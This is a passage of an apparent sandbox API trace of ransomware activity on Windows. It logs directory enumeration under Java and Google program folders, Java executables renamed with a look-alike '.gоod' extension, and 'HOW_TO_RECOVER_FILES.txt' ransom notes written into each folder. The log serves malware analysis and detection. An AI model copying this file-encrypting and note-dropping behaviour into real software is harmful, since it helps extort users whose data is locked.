1 [0113.756] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faed200 | out: lpFindFileData=0x1faed200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3f6f7a6f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x32850, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.exe.gоod", cAlternateFileName="JAVAEX~1.GOD")) returned 1 [0113.756] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faed200 | out: lpFindFileData=0x1faed200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3ff2d602, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x32850, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaw.exe.gоod", cAlternateFileName="JAVAWE~1.GOD")) returned 1 [0113.757] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faed200 | out: lpFindFileData=0x1faed200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x400385bf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4e050, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.exe.gоod", cAlternateFileName="JAVAWS~1.GOD")) returned 1 [0113.757] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faed200 | out: lpFindFileData=0x1faed200*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0113.757] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0113.757] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faed460) returned 1 [0113.757] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faed420) returned 1 [0113.757] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faed520) returned 1 [0113.757] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath_target_474984", nBufferLength=0x105, lpBuffer=0x1faecfc0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath_target_474984", lpFilePart=0x0) returned 0x31 [0113.757] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath_target_474984\\*", lpFindFileData=0x1faed240 | out: lpFindFileData=0x1faed240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x400385bf, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x400385bf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0113.757] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faed200 | out: lpFindFileData=0x1faed200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x400385bf, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x400385bf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.757] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faed200 | out: lpFindFileData=0x1faed200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x400385bf, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x400385bf, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x400385bf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0113.758] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faed200 | out: lpFindFileData=0x1faed200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3f6f7a6f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x32850, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.exe.gоod", cAlternateFileName="JAVAEX~1.GOD")) returned 1 [0113.758] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faed200 | out: lpFindFileData=0x1faed200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3ff2d602, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x32850, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaw.exe.gоod", cAlternateFileName="JAVAWE~1.GOD")) returned 1 [0113.758] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faed200 | out: lpFindFileData=0x1faed200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x400385bf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4e050, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.exe.gоod", cAlternateFileName="JAVAWS~1.GOD")) returned 1 [0113.758] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faed200 | out: lpFindFileData=0x1faed200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x400385bf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4e050, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.exe.gоod", cAlternateFileName="JAVAWS~1.GOD")) returned 0 [0114.104] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0114.104] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faed460) returned 1 [0114.104] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faed420) returned 1 [0114.104] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath_target_474984\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1faecf70, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath_target_474984\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4a [0114.104] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faed490) returned 1 [0114.104] CreateFileW (lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath_target_474984\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\oracle\\java\\javapath_target_474984\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0115.569] GetFileType (hFile=0x768) returned 0x1 [0115.569] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faed400) returned 1 [0115.574] GetFileType (hFile=0x768) returned 0x1 [0115.603] WriteFile (in: hFile=0x768, lpBuffer=0x3815c20*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1faed558, lpOverlapped=0x0 | out: lpBuffer=0x3815c20*, lpNumberOfBytesWritten=0x1faed558*=0x5d0, lpOverlapped=0x0) returned 1 [0115.604] CloseHandle (hObject=0x768) returned 1 [0115.604] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1faed9a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x33 [0115.604] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedec0) returned 1 [0115.604] CreateFileW (lpFileName="C:\\ProgramData\\Oracle\\Java\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\oracle\\java\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0115.605] GetFileType (hFile=0x768) returned 0x1 [0115.605] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faede30) returned 1 [0115.605] GetFileType (hFile=0x768) returned 0x1 [0115.606] WriteFile (in: hFile=0x768, lpBuffer=0x3819438*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1faedf88, lpOverlapped=0x0 | out: lpBuffer=0x3819438*, lpNumberOfBytesWritten=0x1faedf88*=0x5d0, lpOverlapped=0x0) returned 1 [0115.607] CloseHandle (hObject=0x768) returned 1 [0115.607] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1faee3d0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x2e [0115.607] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee8f0) returned 1 [0115.607] CreateFileW (lpFileName="C:\\ProgramData\\Oracle\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\oracle\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0115.607] GetFileType (hFile=0x768) returned 0x1 [0115.607] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee860) returned 1 [0115.607] GetFileType (hFile=0x768) returned 0x1 [0115.608] WriteFile (in: hFile=0x768, lpBuffer=0x381cbf8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1faee9b8, lpOverlapped=0x0 | out: lpBuffer=0x381cbf8*, lpNumberOfBytesWritten=0x1faee9b8*=0x5d0, lpOverlapped=0x0) returned 1 [0115.609] CloseHandle (hObject=0x768) returned 1 [0115.610] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee980) returned 1 [0115.610] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\CrashReports", nBufferLength=0x105, lpBuffer=0x1faee420, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\CrashReports", lpFilePart=0x0) returned 0x2a [0115.610] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\CrashReports\\*", lpFindFileData=0x1faee6a0 | out: lpFindFileData=0x1faee6a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc5e5a66, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbf7b2f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcc5e5a66, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0115.610] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc5e5a66, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbf7b2f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcc5e5a66, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.611] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc5e5a66, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbf7b2f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcc5e5a66, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0115.611] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0115.611] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee8c0) returned 1 [0115.611] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee880) returned 1 [0115.611] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee980) returned 1 [0115.611] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\CrashReports", nBufferLength=0x105, lpBuffer=0x1faee420, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\CrashReports", lpFilePart=0x0) returned 0x2a [0115.611] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\CrashReports\\*", lpFindFileData=0x1faee6a0 | out: lpFindFileData=0x1faee6a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc5e5a66, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbf7b2f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcc5e5a66, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0115.611] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc5e5a66, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbf7b2f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcc5e5a66, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.611] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc5e5a66, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbf7b2f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcc5e5a66, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0115.612] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0115.612] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee8c0) returned 1 [0115.612] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee880) returned 1 [0115.612] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\CrashReports\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1faee3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\CrashReports\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x43 [0115.612] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee8f0) returned 1 [0115.612] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\CrashReports\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\google\\crashreports\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0115.612] GetFileType (hFile=0x768) returned 0x1 [0115.612] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee860) returned 1 [0115.612] GetFileType (hFile=0x768) returned 0x1 [0115.613] WriteFile (in: hFile=0x768, lpBuffer=0x382dde0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1faee9b8, lpOverlapped=0x0 | out: lpBuffer=0x382dde0*, lpNumberOfBytesWritten=0x1faee9b8*=0x5d0, lpOverlapped=0x0) returned 1 [0115.614] CloseHandle (hObject=0x768) returned 1 [0115.614] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee980) returned 1 [0115.615] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2", nBufferLength=0x105, lpBuffer=0x1faee420, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2", lpFilePart=0x0) returned 0x25 [0115.615] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\*", lpFindFileData=0x1faee6a0 | out: lpFindFileData=0x1faee6a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc631f07, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbfd0b02, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcda0384e, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0115.615] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc631f07, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbfd0b02, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcda0384e, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.616] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc631f07, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7d58e1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc7d58e1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.3.33.5", cAlternateFileName="1333~1.5")) returned 1 [0115.616] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcda0384e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcda0384e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Download", cAlternateFileName="")) returned 1 [0115.616] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x25650, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleUpdate.exe", cAlternateFileName="GOOGLE~1.EXE")) returned 1 [0115.616] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcda0384e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe0122b4c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe0122b4c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Install", cAlternateFileName="")) returned 1 [0115.616] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcda0384e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe0122b4c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe0122b4c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Install", cAlternateFileName="")) returned 0 [0115.616] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0115.616] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee8c0) returned 1 [0115.616] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee880) returned 1 [0115.616] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee980) returned 1 [0115.616] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2", nBufferLength=0x105, lpBuffer=0x1faee420, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2", lpFilePart=0x0) returned 0x25 [0115.617] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\*", lpFindFileData=0x1faee6a0 | out: lpFindFileData=0x1faee6a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc631f07, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbfd0b02, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcda0384e, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0115.617] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc631f07, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbfd0b02, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcda0384e, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.617] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc631f07, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7d58e1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc7d58e1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.3.33.5", cAlternateFileName="1333~1.5")) returned 1 [0115.617] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcda0384e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcda0384e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Download", cAlternateFileName="")) returned 1 [0115.617] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x25650, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleUpdate.exe", cAlternateFileName="GOOGLE~1.EXE")) returned 1 [0115.617] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcda0384e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe0122b4c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe0122b4c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Install", cAlternateFileName="")) returned 1 [0115.618] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0115.618] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0115.618] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee8c0) returned 1 [0115.618] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee880) returned 1 [0115.618] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\GoogleUpdate.exe", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\GoogleUpdate.exe", lpFilePart=0x0) returned 0x36 [0115.618] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee730) returned 1 [0115.618] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\GoogleUpdate.exe" (normalized: "c:\\program files (x86)\\google\\update2\\googleupdate.exe"), fInfoLevelId=0x0, lpFileInformation=0x383d550 | out: lpFileInformation=0x383d550*(dwFileAttributes=0x120, 